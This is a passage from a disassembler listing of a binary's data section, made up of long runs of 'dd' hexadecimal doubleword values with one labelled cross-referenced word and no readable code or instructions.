		dd 0B04EAAF1h, 8FC00188h, 2FD7CEB0h, 0CC243253h, 0DE068082h
		dd 7E0181B6h, 0D422CA98h, 2D8EFAh, 49C6B5Bh, 0F2DEDF9Ah
		dd 54A24082h, 65465EE4h, 4C855E02h, 0FCD2B863h,	0D1139230h
		dd 3BE2118h, 31A25E41h,	0CD99CC6Dh, 9C29806Bh, 50DF878Ah
		dd 9FF302DDh, 18AFE9B9h, 60C880C3h, 714B8EB5h, 0E5C01484h
		dd 48EC6AF6h, 449EC096h, 0ACF310D0h, 0E0D96974h, 8066D6E4h
		dd 524BFD28h, 1205D88Ah, 0E05D21E1h, 8E26F278h,	0D69720BDh
		dd 0D828DC04h, 581140C9h, 7DC450FFh, 0BC8600CAh, 83F5AEF7h
		dd 4B01B9C4h, 8EF071D8h, 3B2E9B3Dh, 1C4C23C0h, 8F7680B7h
		dd 0D72D2848h, 0C83F2E32h, 1A20E0AFh, 0C9FC0B54h, 0C401398Eh
		dd 2C8FEC10h, 8C4BBC2Ch, 404D9600h, 1AB9959Eh, 0AD090FFh
		dd 0BB62FB58h, 54914BF0h, 7C6EF4A3h, 0D0B48100h, 6FDBB8C7h
		dd 175A02CFh, 0E1D4E2CCh, 0FF7014DBh, 0ACA71640h, 8EE8020Bh
		dd 0A0835341h, 0F0AD2995h, 0C891CEE0h, 561803D1h, 60A6AF00h
		dd 0B5227F3Ah, 701D2AFFh, 180DB0B8h, 10955AF4h,	4AFC110Ah
		dd 0C64A0890h, 18268899h, 4915F803h, 1824541Ch,	0AF65D01Bh
		dd 8C0DA200h
		db 3Fh,	13h
word_505446	dw 1EB9h		; DATA XREF: ___:off_435DD0o
		dd 0CC7F4F37h, 88F1AD9Dh, 0ED64E00h, 777C6F8Fh,	0B0200E55h
		dd 5AE4A5AAh, 0F2D4F2D8h, 0B263303Eh, 0D3471600h, 458E7056h
		dd 6C259D48h, 1AEC40E2h, 59F1E193h, 0F020E0D7h,	0D0561Fh
		dd 0D1121DD8h, 776BB08Ch, 9EC79F1h, 0CADA287Fh,	805C5184h
		dd 603B458Bh, 553EEE82h, 0B86A80FEh, 9B715B3Dh,	0D78B05FBh
		dd 0B4AA1AE7h, 554A33B8h, 0B840AC8Fh, 2EC18B8Eh, 8B502C7Ch
		dd 6690EA18h, 0CE1C0018h, 1217722Dh, 0B01E107h,	4A53330Ch
		dd 3C683559h, 4928EC84h, 1DE05A32h, 0CE8A65C8h,	8B4329A9h
		dd 8827FF86h, 910C97D8h, 0F6EF80A1h, 189198CCh,	0F65F8A7Dh
		dd 0E54B7EF3h, 0B9D9DC80h, 73652577h, 644494E7h, 0C5E27560h
		dd 7B176C76h, 58D09CE9h, 2750EAh, 21E054A2h, 387FEB9Eh
		dd 30BE4FF8h, 0E11613D6h, 9431EFBh, 0D4845613h,	5FDE406Eh
		dd 0FEBD23h, 7CFCFD8Ah,	896A8C8Fh, 9811A601h, 0A59219EEh
		dd 0F86C4AD1h, 399DA90Ch, 5C046961h, 2C2908DEh,	0F12574A8h
		dd 8B11CC5h, 0D4505832h, 17E0BEh, 9BC6A3A8h, 0B29AB381h
		dd 972528DEh, 805F9108h, 0F7C0E186h, 42BD3FCEh,	5983A980h
		dd 39B4B52Eh, 10B8FC4Ch, 5A04376Eh, 0E9454334h,	152816B8h
		dd 605F2434h, 382F121Dh, 1578168h, 0AA138C58h, 0FF7AE9EFh
		dd 0B0CD9AE2h, 248C43E0h, 0BEB917FEh, 0F6F0C02Dh, 30813618h
		dd 545537E9h, 0D71E68F3h, 3A13A0A6h, 7043E911h,	0F5C2D6D1h
		dd 0DA12A483h, 0DC5E91h, 343B1C2Dh, 0CD01CB83h,	8E520985h
		dd 6887B4E1h, 48F65335h, 2516929Fh, 0D1CDA046h,	44889081h
		dd 5600EF5Fh, 0EC377499h, 1F3D1E1Ch, 1D5C0A0h, 4406C40Bh
		dd 95A6D8FFh, 0C039C9Eh, 0B43ADEBAh, 7F1698BDh,	56F42093h
		dd 0A977F115h, 0BF006898h, 69AA1EA1h, 4EE1C9BCh, 164D253h
		dd 2A327C61h, 40B5840Ch, 62C6F42Fh, 93CF583Eh, 89087476h
		dd 14F42035h, 88FFCCC5h, 40EB6850h, 0EE0006E8h,	5B6C838Eh
		dd 1843240Fh, 48581AE5h, 5277D4BCh, 0E8B797h, 422859C6h
		dd 8A1CF86Bh, 3480A855h, 82DEEEDDh, 768C9E6Ch, 891D6946h
		dd 0A52D00C3h, 4EADE777h, 0F5531D14h, 0C07281DCh, 0D1014F35h
		dd 746FD1BEh, 9895FC94h, 8065BA84h, 360846B9h, 8943BD6Ch
		dd 0A8F2D463h, 0C9928609h, 3D705899h, 58D06D1Ah, 0CCB54B63h
		dd 0AF0A281Ch, 0F03802EEh, 7C5D9D9Fh, 0F618F9F9h, 0E1187E22h
		dd 6C41C193h, 243EDE90h, 8718F3C8h, 615172D0h, 1037CADh
		dd 63712EE9h, 847AE1F9h, 8F294539h, 0B4053CFCh,	0D495498Eh
		dd 1248A228h, 100018FBh, 2F2E411Bh, 63430C82h, 6C615930h
		dd 55A4E005h, 0B818A6EEh, 0A0B86340h, 938837Ch,	0FADEA5B6h
		dd 2C62B02Fh, 80E16F9Ah, 0F8611336h, 0A0D138C6h, 4EB7D7E8h
		dd 7F7C88C3h, 84186A69h, 6C97B010h, 2C0BCC3h, 0BBA72941h
		dd 54729CFCh, 0BFF60FF2h, 746D201h, 31C3EE77h, 2B5ECDCh
		dd 511F2A55h, 305C7D50h, 3E4B465Eh, 63530207h, 64EC4687h
		dd 351E2E28h, 0A24674ECh, 0E3F5F700h, 9519D34Ch, 3C51BF26h
		dd 67E40809h, 610564B0h, 6EFCA982h, 2AD200B3h, 2E5A1154h
		dd 0D005271Eh, 3D76D1FCh, 6A1AEC00h, 6B48B962h,	0EC444039h
		dd 0C17D2F00h, 326D8C91h, 0FA780279h, 0CDA6066Bh, 0C5279C5Eh
		dd 604EE440h, 24C0B6h, 597CE9FFh, 87D7B01Bh, 26F6523Fh
		dd 5A9FA04Bh, 9570C8BAh, 0EC24BCF0h, 944C00D5h,	3AEECFECh
		dd 0FA0056C9h, 139DBEC3h, 125A3478h, 31936EF2h,	412EB78h
		dd 0C6AA6881h, 31306C01h, 0BC1C7CF8h, 4B7A8C68h, 0E5E9F00Fh
		dd 26C2417Fh, 5E9B9D2h,	0B42C688Bh, 1C410C5h, 323EB260h
		dd 31F6C316h, 6A5E0CD0h, 25370FB3h, 88726C08h, 17E9D114h
		dd 0A4A80AC5h, 1D6E8800h, 145E5A2Dh, 0CC801A4Bh, 9316C1Bh
		dd 33C4F584h, 3A7B5CD2h, 961C8F4Ch, 0EF715830h,	0ADEC1F28h
		dd 303405F0h, 0A8F4848Eh, 0F8BEA010h, 57690062h, 0FD1BBF81h
		dd 0D67C66E9h, 0A4F93404h, 1C885A80h, 0A8189524h, 120126C0h
		dd 6234D690h, 6D0228F4h, 50BADF20h, 0ECD9000Dh,	0D1BFFCF7h
		dd 9302AA35h, 22FD0A9Ah, 0E7A045B4h, 3C6098FFh,	5567366h
		dd 5334D3F1h, 0E9E88CD8h, 9852B520h, 4C0E1288h,	8D448A1h
		dd 2182A7CFh, 0BCB22494h, 77254EDCh, 0C0216F47h, 2D736DA5h
		dd 8922C72Dh, 43B080C0h, 9F921A03h, 3D91E497h, 0EA89AA80h
		dd 0B81F5956h, 85161E7Fh, 8980B09Bh, 0E94211E2h, 0C8D922Dh
		dd 8C07F02Ch, 2077271Eh, 0FE8F2C51h, 1E7C1430h,	5D8F04ACh
		dd 58E00729h, 197E3DF2h, 62C4004Bh, 0CE211637h,	1E36C9C0h
		dd 5CA079BBh, 505834EBh, 51662E10h, 166E4311h, 5FAE1910h
		dd 217AF984h, 0F5093F3Eh, 0F67C0160h, 3900406Eh, 0A32AB9BBh
		dd 493C90D0h, 18FD8B00h, 20D1E48h, 96F277D4h, 8CE83D7Dh
		dd 0D302FA5Ch, 0C5FB7067h, 11785E57h, 0DCC85A64h, 0F51F00DAh
		dd 28123AEFh, 0AB039C30h, 0D600901h, 0BE37C884h, 40454FE2h
		dd 0E61A8764h, 272A0CEBh, 86F8242Ch, 7A458A00h,	61E68192h
		dd 0D1C10037h, 2F64343Fh, 394856D3h, 5F7DC458h,	3D97B701h
		dd 0A82E2E1Eh, 85004D23h, 6126B717h, 1ADE2F5Dh,	0D894A410h
		dd 29BAF000h, 0E37C453h, 0FC91D0h, 80E6ED56h, 2512BD34h
		dd 47005B20h, 0BB1285Ch, 0BA6239D5h, 0A4D8EABEh, 72A72D05h
		dd 0B1800474h, 8800E888h, 577F827Ah, 0A89054B0h, 0CF0050C6h
		dd 0E40638ABh, 3FF2104Bh, 938624D1h, 0F873C9E9h, 0D7C6302h
		dd 0C6F0535Ah, 5BF2D8h,	2F2733FAh, 6A4631FBh, 0C42BC52Dh
		dd 4C0F0738h, 5FD93D72h, 0CC1ED2C0h, 0B8482387h, 0B4BD105Ch
		dd 0BB070E3Ch, 21E2591Ah, 0C4CE1622h, 5348F26Ah, 9C211014h
		dd 4A3AFD01h, 0A4471128h, 0D9606461h, 21BE5Ch, 12E6C8F8h
		dd 0DD7F0DD0h, 630097F6h, 76BC832Bh, 4F8E7237h,	1A5880C1h
		dd 0BA008214h, 38D64186h, 9EF64694h, 70E3803Ch,	9D405D01h
		dd 0AC71A360h, 4ACA3Ch,	639AF208h, 332A083h, 387B4300h
		dd 0C44CA877h, 692100D3h, 0EF6C7DCCh, 727C56C7h, 7CF0F500h
		dd 2DCA3902h, 1DB4F89Fh, 81D14B12h, 7F148EFh, 0C903309Dh
		dd 0F6031E00h, 260CC16Dh, 0F0C74E92h, 8F002497h, 36B98C4h
		dd 186759h, 1ECA38D9h, 221608E8h, 47869102h, 86BA7995h
		dd 120A1BAh, 96826BF7h,	80B0FC89h, 6C3B3961h, 4C8E1DA0h
		dd 0A3DF984h, 0CF05D680h, 6908CE2Bh, 0E7DEE18h,	30529231h
		dd 0F720D384h, 51C07E73h, 43FA5E59h, 10CA6023h,	0E5DBB6B9h
		dd 0F7061074h, 8C768A63h, 0ABEE0018h, 0F5BB8384h, 0AC22BA73h
		dd 0C7150089h, 3F9DCFEAh, 0E801D18Ah, 143B69DFh, 0A0802C18h
		dd 26CF3D73h, 6100E5B7h, 4A0EE61Dh, 77A56515h, 0A6790FC0h
		dd 18F883E2h, 0A288485Dh, 703A1893h, 437BB8E1h,	0A069FA03h
		dd 0A287A09h, 855629D8h, 0A4A6CCh, 0F8605933h, 20C0C872h
		dd 6C8F61FFh, 73D900CEh, 458916BEh, 8A1E58DDh, 0A29943F5h
		dd 0A0FE31C8h, 0A3E6DAACh, 165B0037h, 0AF7F27B8h, 2E182478h
		dd 9C29C5D3h, 190295Fh,	0EAD8D504h, 0DF7803E7h,	65D78661h
		dd 4B7D1900h, 0B1718DADh, 1CD90039h, 844FACE7h,	430FE33Ch
		dd 87049BBCh, 512037F3h, 30E7DEDAh, 3C48E5B8h, 0C477F9BCh
		dd 7F583500h, 11BF2465h, 52E7005Fh, 9F1E3BA2h, 91600AA4h
		dd 23E91670h, 67C130AFh, 1218F681h, 0ED974900h,	46259DD4h
		dd 54E1074Bh, 0E0CD67FDh, 0E76D4D7Fh, 0E48D010Dh, 9BE0398Eh
		dd 1835FA02h, 0E965A49Dh
		dd 8A01931Ch, 7D83B4AAh, 6AC56941h, 0C4B59000h,	0FAD6DD00h
		dd 4C061BBBh, 2A1EE01Ah, 948509h, 2DE54192h, 82605C23h
		dd 3E00A0A4h, 749F860Eh, 0EBF9313h, 0E7574EDEh,	1EC40D25h
		dd 18390084h, 5209CE9Eh, 1D64F200h, 0D8C039Fh, 657C01D0h
		dd 0AFD7DAFFh, 3FA3F01Ah, 93D688A8h, 5D1DD1C7h,	861F4192h
		dd 3DD1639Ch, 0BE80BCC5h, 66E4D395h, 0F3005BCCh, 1E85E216h
		dd 7C92FED9h, 128818DEh, 3E9D1129h, 0EAF1CA05h,	0F84176B7h
		dd 230F4CC0h, 28BC7BD8h, 4C959Dh, 0AA720DAh, 9A9CB710h
		dd 0FCAFEC2h, 0FE9C90CCh, 0FC84A882h, 7A4D009Dh, 0C0BCD1C6h
		dd 48308C0Fh, 0EAE748F2h, 0ABB98AFh, 92E18D9Fh,	0ABDA41D4h
		dd 88A2F239h, 144074C6h, 9B673F69h, 8FC0F158h, 1E463A80h
		dd 81F8AC93h, 6D575665h, 0AF80DF29h, 0FF005E03h, 98EDE87Eh
		dd 2FD366h, 7013489Ah, 35FA8007h, 1800E3F9h, 381DA95Ah
		dd 0AD2B974Fh, 90068420h, 0A130000Ah, 31C07Bh, 71BEBC61h
		dd 0F4585056h, 0EC624019h, 4CE1CC18h, 1AFBFCCh,	0D3075C9Eh
		dd 0E57CC79Bh, 8E205D31h, 108F6B81h, 1147B2Ah, 0AE656429h
		dd 0E075A641h, 0C17BD1D0h, 0BB14F300h, 734030DAh, 3D19006Ah
		dd 1A59EB70h, 34ABBEAEh, 80A80870h, 0C88D9571h,	9F147CA0h
		dd 0EC6096h, 4CF3C9E4h,	13E7417h, 204A2A5Dh, 24FAA355h
		dd 0D52457ECh, 962C0CDBh, 7B72013Eh, 3191E37Eh,	3128020h
		dd 569BFA6Ah, 2921D60Dh, 8F571050h, 77119176h, 80421D5h
		dd 1A90945Dh, 48D78184h, 7F114208h, 421BE24h, 119C12E4h
		dd 0A02208AAh, 88E38A50h, 0D783A4E0h, 59805231h, 3AFA3C8h
		dd 0E3A0706Ch, 8B853FAh, 2D004307h, 4E4703D7h, 7AC28268h
		dd 0CC783C49h, 0A7948E80h, 0B8246602h, 483DCF03h, 83EFAF80h
		dd 4F9CB0E4h, 0F78B386Fh, 0A690AB00h, 767B6A9Eh, 74B9D700h
		dd 283054FFh, 0CB230029h, 1C50D294h, 600F079h, 1F74A361h
		dd 1EDE4FC0h, 8B67BFD6h, 0FF80BAC1h, 39A2F5F1h,	0F5EFDD24h
		dd 37330800h, 0DC4C04h,	0DAF42726h, 47AFF5C8h, 0C25F5700h
		dd 5A36817Dh, 87C1003Bh, 0FF0BBCEAh, 2C00D616h,	0ECF92630h
		dd 0FBB5A5h, 0DC1B6FD2h, 28D161FCh, 4D06D700h, 0FDF6C73Ch
		dd 79990F4Bh, 9F3DB1EBh, 201CC01Dh, 8DEE1556h, 0C280E302h
		dd 6067A8ADh, 8F3708h, 0FC2FC6F1h, 24DFC3D2h, 8A1D2000h
		dd 5DB423C1h, 33E80347h, 0B2F9877Ch, 1EA1000h, 0F0048190h
		dd 31F50797h, 60257C93h, 0C9F8624Fh, 28633F1Dh,	793A7847h
		dd 9A7DD2E0h, 539E003Eh, 74CF2E46h, 40008D38h, 0A801B22Ch
		dd 0D926B8h, 80F927B7h,	0FD45A65Dh, 0A2C18100h,	49C42E2Dh
		dd 8C9860h, 98E6FFF5h, 4816DAF0h, 6CE0A300h, 0D9A0A2E4h
		dd 0A117003Fh, 4F47604Ch, 0AF008182h, 93D3BB12h, 644ED6h
		dd 67BDA842h, 5AB2D84Dh, 9AC30500h, 0DE695797h,	38C7002Dh
		dd 12C0E348h, 9F00E9DFh, 0AF55C11Bh, 9803D5E0h,	726F39B4h
		dd 0CE995300h, 0BD65C5B6h, 448FE500h, 0FC676260h, 9A4E1848h
		dd 0F10E8078h, 0D2D88000h, 91F42FAh, 0D38800F8h, 4A7FE417h
		dd 0DF2CAB2Bh, 1100C7EAh, 5B34C05Dh, 50310732h,	6048C74Ch
		dd 9081D1EFh, 2DC18C2Eh, 720C4402h, 89114033h, 0E85903C9h
		dd 0C13AFBF0h, 0D8EDA1C0h, 868FE400h, 95BA8E3Fh, 2E343A2Dh
		dd 0F5F7E280h, 0B762BB3Bh, 5784600h, 7E9FF43Ch,	0A548002Bh
		dd 76B30F5Bh, 0D60027FFh, 0A83B5D84h, 28F0C19h,	0DD72B496h
		dd 204183A7h, 70C04031h, 0F200B129h, 0EEA0BC9Eh, 85C8D2h
		dd 7464783Eh, 0F830867Ch, 5230DE78h, 9B452091h,	0E29E1E44h
		dd 0F1758077h, 98AD5F87h, 0D04CD024h, 80BAB41Dh, 0B1A27A72h
		dd 18EA174Dh, 0F0BC51CDh, 7907A17Ch, 553212A6h,	80C6B542h
		dd 4B75AC94h, 40991CE2h, 9C240064h, 0C82BD178h,	9830A503h
		dd 0B8BAA371h, 5D8134h,	0BEAFC2Dh, 9615E14Dh, 0CB002EF4h
		dd 14980AF6h, 3CAD272Fh, 0A0D87FF2h, 3A62A501h,	80AEE2FBh
		dd 6893A1F8h, 1DABAD04h, 6AFF25E9h, 0CAED01D8h,	0E0159DAEh
		dd 7E75DCD0h, 0CE5C6A1Eh, 0DE2C55C0h, 6D723F1h,	136B84CAh
		dd 0B47BC4AFh, 72325C00h, 3FAD189Fh, 0F5510016h, 853E97B0h
		dd 74068A0Bh, 1443A556h, 7BB303C0h, 6B1C75CAh, 0FA8241F0h
		dd 4F738000h, 0C144DD08h, 0B8701349h, 806D1C4Ch, 5C3865D5h
		dd 104BB03h, 77A2530Bh,	0FE31AC80h, 28F600B5h, 170AE3D0h
		dd 9600E8C0h, 0B3FDC543h, 1AB7352h, 0D9EE4E42h,	0C805CDDAh
		dd 1300C648h, 0EE1AF0Fh, 0EF1ABC4h, 76E9F65Eh, 80233CE5h
		dd 589FCEABh, 0E1272A00h, 0F117B185h, 36420E8Ah, 0C05DBAC7h
		dd 0A284C691h, 3A00CC7Ah, 0DE232CEEh, 53A3DFh, 8BFFFDB9h
		dd 0CA2DD59Bh, 64528300h, 0D7EC204Ch, 189849h, 239812C5h
		dd 58F633ABh, 0B8AB700h, 419D51F1h, 880A00EDh, 0EB741698h
		dd 0AD3DDF2Bh, 9131823Ch, 60EEDBF9h, 3433CDh, 7EC3BDF3h
		dd 72AB1802h, 9F800D07h, 0D8E566C0h, 0A208884Eh, 0E088E969h
		dd 251667ACh, 6C015FE7h, 0C80B19A9h, 1C1FF744h,	0D8804627h
		dd 0E80DE23Bh, 0FCCF00EBh, 0CE4B3022h, 0C5005074h, 5E0BD81Ah
		dd 19EE14h, 0ADFD2F5Ch,	75F63F6Ch, 0B44A0D12h, 0C24C8800h
		dd 36F4DF0h, 0E0EBC7A5h, 0D3E828E6h, 0D00140F2h, 60B15A68h
		dd 0D5FCCD7Dh, 1C534884h, 64D6007Fh, 0F691ED8Ah, 0D7767B83h
		dd 0FAE6A418h, 0EA9F9F0h, 7C9B09CEh, 0B6B0840h,	0D300EBF4h
		dd 97E2AE53h, 0A5E905h,	7A4D1FFFh, 8F0F5523h, 3A382100h
		dd 0B36A9AD8h, 8DC100E8h, 109578D5h, 31D0517h, 0D25F52E9h
		dd 71C12C9Eh, 671FBDF2h, 518AE46h, 0D066EA8Ch, 0B97F8040h
		dd 4602E101h, 0D193C4A8h, 7EBE60F7h, 723600A9h,	0D0E57587h
		dd 0EC04FAEEh, 7310B54Dh, 18D0C5C7h, 3FB411h, 0AFB61D80h
		dd 1F4E78B8h, 9D016C92h, 76F4F6B3h, 0A4CC0C4Dh,	921B287Dh
		dd 0BF6000EAh, 0E9441CFh, 0EE0008BCh, 31C8295Eh, 71DE335Ch
		dd 0AC4E0063h, 0BC5F2F6Ch, 2125A6Bh, 6C003DF3h,	0ADDB31E5h
		dd 217951h, 6B378203h, 4D9D9533h, 5FDE621Ch, 7DCE7200h
		dd 2C9FABE1h, 2608F8CAh, 0E5940094h, 3A896D09h,	0B0351A00h
		dd 0C47190BDh, 0D51C002Bh, 0E0FBB3B1h, 6D749EBAh, 3DD2EA13h
		dd 0B9040FEAh, 2AFCF040h, 0E400610Eh, 85A8D156h, 685273h
		dd 9A51A08Fh, 4D08C9BEh, 10496E4h, 0AFD0F19Ch, 49CEC0C0h
		dd 86B4C9Fh, 5D67AC00h,	2BB6BBE5h, 52988400h, 0BF0D4B9Bh
		dd 0D87005h, 0E5E606FBh, 0E21F1D21h, 0BE4D3100h, 0B74165F5h
		dd 8F2A0F3Ah, 1AE057D5h, 0C50811B8h, 2D69D100h,	7B85AFF4h
		dd 0B04B00E3h, 0FEA55551h, 0E23F22D2h, 8C898h, 0F579A4ADh
		dd 0F0185C5Eh, 9F9D2E65h, 94B50018h, 255B8D8Ah,	7A72DF58h
		dd 0EA40A760h, 0E72F07Ah, 754053C6h, 7E4D01A0h,	633F166Eh
		dd 0DB200064h, 4CCA3C07h, 26B008Dh, 449AE731h, 0B180A3BAh
		dd 0F8910F28h, 182099AEh, 0EE233A7Ch, 1CE7E400h, 4DE04B5Ch
		dd 2A22005Fh, 0D4211974h, 0B8021Fh, 8DC0A500h, 9B8A8C6Ah
		dd 7ABA0054h, 207FA377h, 0B400B287h, 78AFB3CEh,	9258686Eh
		dd 497040h, 35A2B082h, 653EBB7Bh, 1AE88B00h, 6A5325F1h
		dd 96EC2Fh, 45CA64EEh, 0AAD08043h, 82D7463Bh, 81326C3h
		dd 964C0EBh, 86520054h,	0B67256Eh, 6B00C0E4h, 0B05AF97Eh
		dd 4CB85F9Fh, 40F004Fh,	91E0A0DEh, 0EDE5DA5Dh, 0C9511A1Ch
		dd 128689BCh, 6CA0804Ch
		dd 98B65F17h, 9D040296h, 707B8B81h, 0FCD054C0h,	0CF72DD02h
		dd 0C0740A1Dh, 276DE705h, 3C024F31h, 0C4C01464h, 961DD99Bh
		dd 68092871h, 7740B85h,	9C10C904h, 0A003889Dh, 4DC1A0ACh
		dd 3403E4D1h, 0EEB5A786h, 0EB97AEC0h, 8DF22C17h, 848580EAh
		dd 760169A3h, 35C4F8E9h, 8889AF59h, 0A81798Ch, 6469C76Fh
		dd 64015ED0h, 42E1B902h, 35EC536Ch, 34D0068h, 0A5A6FF0Eh
		dd 0B005EFAh, 40B5F3ACh, 0AB2167h, 47C30907h, 0E40EF816h
		dd 2600F6F0h, 23324B0Fh, 3F877BECh, 8A000457h, 0DCE701F1h
		dd 1F000CA2h, 5154D191h, 0E19C5E6h, 26F9B2CFh, 6F3A6CE0h
		dd 58C01BA8h, 5D5BB917h, 46C9006Dh, 0D41D41A0h,	9C5C2E27h
		dd 7FDF00F8h, 0A977B3AFh, 1B490004h, 3C1F4B6h, 8D0002DAh
		dd 87DC5D7Eh, 0F4CF53Ah, 0B4FDD20Eh, 0ECC1F76Eh, 0E14852AEh
		dd 4919F0FAh, 0D6F7607h, 0FDD0DE58h, 1EC4F187h,	413057A6h
		dd 0B052F814h, 117FCCF0h, 39A41F00h, 6C968E8Ch,	4085167Ch
		dd 0BD640F68h, 0C40FAB36h, 2773E0B5h, 378AA5h, 0A7F599C3h
		dd 0BB57692Dh, 81242939h, 8A7DABB5h, 0F1EC447Fh, 82AE00BDh
		dd 937EA1EFh, 141E123Bh, 78B3BCh, 617BE4B0h, 77FC3Ah, 97DAE8B7h
		dd 0FAC54F65h, 0EB0021E0h, 0ED3172DBh, 4621B2Bh, 0D62A99E1h
		dd 28288084h, 0EC0102BAh, 98869E97h, 5FECD219h,	0EB5039A4h
		dd 0C52E4680h, 33DE79E0h, 0BDE34B00h, 3BBA2A70h, 276105FBh
		dd 0F62EDCh, 13D60798h,	0D5046E65h, 0CDE2C280h,	57ECC4F1h
		dd 8B540503h, 8275F7EDh, 8858F0D0h, 0A4E28403h,	88B29456h
		dd 7963899h, 0D42CED21h, 25BEE086h, 0B3059380h,	0F6753E2Ah
		dd 3BC07CC0h, 0BBE605EFh, 547A4Fh, 0FEC66FCCh, 83052D3Ch
		dd 0EA4793B6h, 88289C80h, 0FDC700D1h, 6B408005h, 0F60086E8h
		dd 8DAE2970h, 1CA8C67h,	0F8267209h, 0BCA093E6h,	38A0D8B8h
		dd 0D6B08111h, 0E3E0BE63h, 0A7F2F0h, 0A4236F01h, 0E5C7EA0Eh
		dd 2DDFD500h, 74BDE25Dh, 0A6FC00BBh, 82D7D199h,	540E61C9h
		dd 93816596h, 0F1664C03h, 4263C12Ah, 17BB88E8h,	869052h
		dd 0F4A35348h, 5E00EBB8h, 0C938E7D2h, 17D7AFAh,	40842E41h
		dd 3253019Ch, 37E002F0h, 80BF2FB0h, 880C14FCh, 0C07D075Fh
		dd 802902EBh, 989F268Fh, 0CDF0BB00h, 5A3F986h, 65400E7h
		dd 8327D6C3h, 65031ACBh, 31DB3A9Fh, 21D8A820h, 0C71F0059h
		dd 8D6AA37Fh, 770F82CFh, 0FE5426h, 70AEF00Fh, 7ED500EEh
		dd 97E375C6h, 9B7B1008h, 0E7047BEEh, 0DCD90623h, 71F4B0h
		dd 98EE821Bh, 0A6689016h, 0F8864Dh, 80B69A79h, 0B387E9h
		dd 48C3FD4h, 5A8AD856h,	94E61C00h, 0B01F019Eh, 0EF30027Ah
		dd 19AC5F0Ch, 897EA8A1h, 96F434F3h, 8D1A3700h, 79FAA4D9h
		dd 0F6E40949h, 908092B3h, 0A8C110D1h, 0D478D30Bh, 0EB4780E3h
		dd 7CC4E624h, 6D800AFDh, 0C0F36Fh, 12E52D15h, 220778B1h
		dd 3C71C5CBh, 4986ED50h, 7FF7392Fh, 586B3A1Dh, 66CEBC30h
		dd 0F09D7500h, 761F097Ah, 749B0069h, 2998F690h,	0E0006B96h
		dd 455BD47h, 0A2A93Bh, 21A680E3h, 0C495AAFFh, 98C7D0A0h
		dd 0AFC02B00h, 7F3CD810h, 48700001h, 45ED35C9h,	8102D2DAh
		dd 2EC07823h, 591CC07Bh, 0CA853B89h, 926726h, 0E533F713h
		dd 6000360Fh, 2F025EF3h, 243D11h, 2D949721h, 6EE2890Dh
		dd 9EAE2B3Ah, 0EE01C198h, 334CA4D3h, 93B2EC4h, 0D00F972Ah
		dd 0BCE32468h, 564FFC74h, 7F6C6001h, 0D88E5940h, 6D20AA05h
		dd 0C8083583h, 0B0E6732Ch, 0B066D600h, 0FAD577F6h, 0D7B80076h
		dd 23741D4Fh, 6F0034C8h, 5F738642h, 758249D8h, 0FBAF0083h
		dd 0A48BBBBCh, 0E5001064h, 0F0856F38h, 0D9C49Bh, 47DAA628h
		dd 0FEDC2476h, 803AFC3Bh, 0B86207C6h, 1611F1h, 63399442h
		dd 0F909D922h, 24B43B00h, 618F881Fh, 757019h, 383091BDh
		dd 5DF9846Dh, 628E0100h, 0D947870Fh, 55D20071h,	9C486334h
		dd 461CD717h, 0FD80DB02h, 0AC0D277Dh, 0B1054CC8h, 1E776739h
		dd 32F5C9h, 2857FD6h, 0E203EE6Fh, 0EAD5FFAh, 8B67E022h
		dd 2668E8D3h, 1CBC0BBh,	0EC1CAA0Fh, 10C270D4h, 5E009674h
		dd 1A450190h, 125D9C12h, 0C69EC01Bh, 1039EA28h,	2C40CF19h
		dd 36C2A263h, 0E9092CF0h, 0DB070360h, 20DBF59Bh, 42D505B0h
		dd 0C8016390h, 0FD6A2393h, 0CC32A3E9h, 9A35120Fh, 4CAAF9E1h
		dd 0E880CDE5h, 0BF00DF51h, 720FBA4Bh, 4A7E47h, 0A429392Bh
		dd 0F81FA6B3h, 851C30FEh, 0A4010B5h, 7D8FB0F4h,	526E00FBh
		dd 32D4DAE9h, 0CC0003CDh, 669109D1h, 1B36FCh, 0B46271Dh
		dd 67C93EDh, 8E775200h,	0BA53FA34h, 0D2EF0068h,	144058C8h
		dd 0BD4C7A90h, 738A002Dh, 0A24398CCh, 195F0096h, 0C5765B92h
		dd 0D1005E9Dh, 4486F828h, 23C0EBAh, 0C727A2F4h,	8D8064F9h
		dd 26074CC8h, 88DC4200h, 0B8EE1E3Fh, 179F006Fh,	0D3B9A221h
		dd 851C38C8h, 0C8AEEF8Fh, 0B718A780h, 27333Ah, 0FEE8C72Ch
		dd 0EB734E8Eh, 5319F002h, 0C0BA4FCBh, 7AEB0DCh,	0CF03BF93h
		dd 424730F2h, 0A801E4ACh, 3BB70661h, 0E161E995h, 3CDE90E0h
		dd 0AD0D2C70h, 0E910604Eh, 4465E02Bh, 892310A8h, 60AB9EA0h
		dd 78513E00h, 0C14185EBh, 66C6005Eh, 0B692DF11h, 1C2D28A0h
		dd 375E07h, 3D061324h, 0B4942CE0h, 0B9485033h, 0CD19D12h
		dd 5200E47Ch, 2B687621h, 0FA000395h, 84C2CC0Ah,	2E9778h
		dd 76EF55F9h, 14362DB1h, 37747C12h, 0B6C2470Eh,	32C76B00h
		dd 1350851Ah, 0F48C5E7h, 0CB25A37Dh, 11A04595h,	0E090B143h
		dd 35003D05h, 34651215h, 0A4EB0433h, 1C1B5410h,	484D0013h
		dd 0BFC06954h, 4B0F7B72h, 0C2B657D6h, 0F084C92Eh, 428F0A70h
		dd 3FC7BE9Ch, 0BD291Eh,	0DAC06C61h, 2DFCB111h, 4F0AD70Ah
		dd 8F0EF6A9h, 1CDF213Ah, 0A040AD40h, 7DEF60E5h,	0AEB0C8h
		dd 61F88B39h, 7B7D3576h, 6449AB00h, 1A629028h, 8B890040h
		dd 0E3419FAFh, 3A00274Eh, 96EF3C06h, 1E0B80C1h,	8757FAh
		dd 9D86B7D6h, 2E031F6Fh, 0D4AE0A9Ah, 0D3F8F93Dh, 78BCEDCh
		dd 187786A2h, 0FF6F5041h, 0EA009C2Dh, 0AE17AC53h, 3CB5C2AAh
		dd 66039978h, 0A46918AFh, 0E8A0EFAAh, 98E50721h, 3C674B06h
		dd 19D215h, 860C9B8Bh, 93128A3Fh, 0F889EA4Ah, 0F1ECA1F0h
		dd 0F05A88F8h, 437A05E0h, 3E862ACh, 8B310BBCh, 1C8F41A0h
		dd 5F64252Ch, 16E65030h, 58FE8086h, 0C61220BCh,	2200A0B2h
		dd 0D2AEBD89h, 8FF69C4Ch, 0CD185960h, 3A879D82h, 0CE1E9F31h
		dd 2D70709h, 8C0F801Eh,	28C001D6h, 417C8B20h, 189EF692h
